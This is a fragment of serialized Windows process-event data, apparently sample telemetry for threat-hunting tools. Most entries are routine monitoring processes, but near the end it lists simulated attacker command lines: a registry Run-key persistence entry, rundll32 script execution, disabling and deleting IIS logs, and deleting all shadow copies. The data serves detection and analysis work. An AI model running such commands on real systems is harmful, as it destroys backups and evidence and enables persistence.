State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\WindowsAzure\\\\GuestAgent_2.7.41491.901_2019-01-14_202614\\\\CollectGuestLogs.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\taskhostw.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\222\\\\pmfexe.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"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\",\"dtype\":\"float64\",\"shape\":[363]},\"WrapCmdl\":[\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden\\n\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\"12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\"1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\"reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\\nC:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7....\\n\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\\n\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm\\nset winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"©\\n\\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Passwo... Change\\n\",\".\\\\cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\"C:\\\\Program 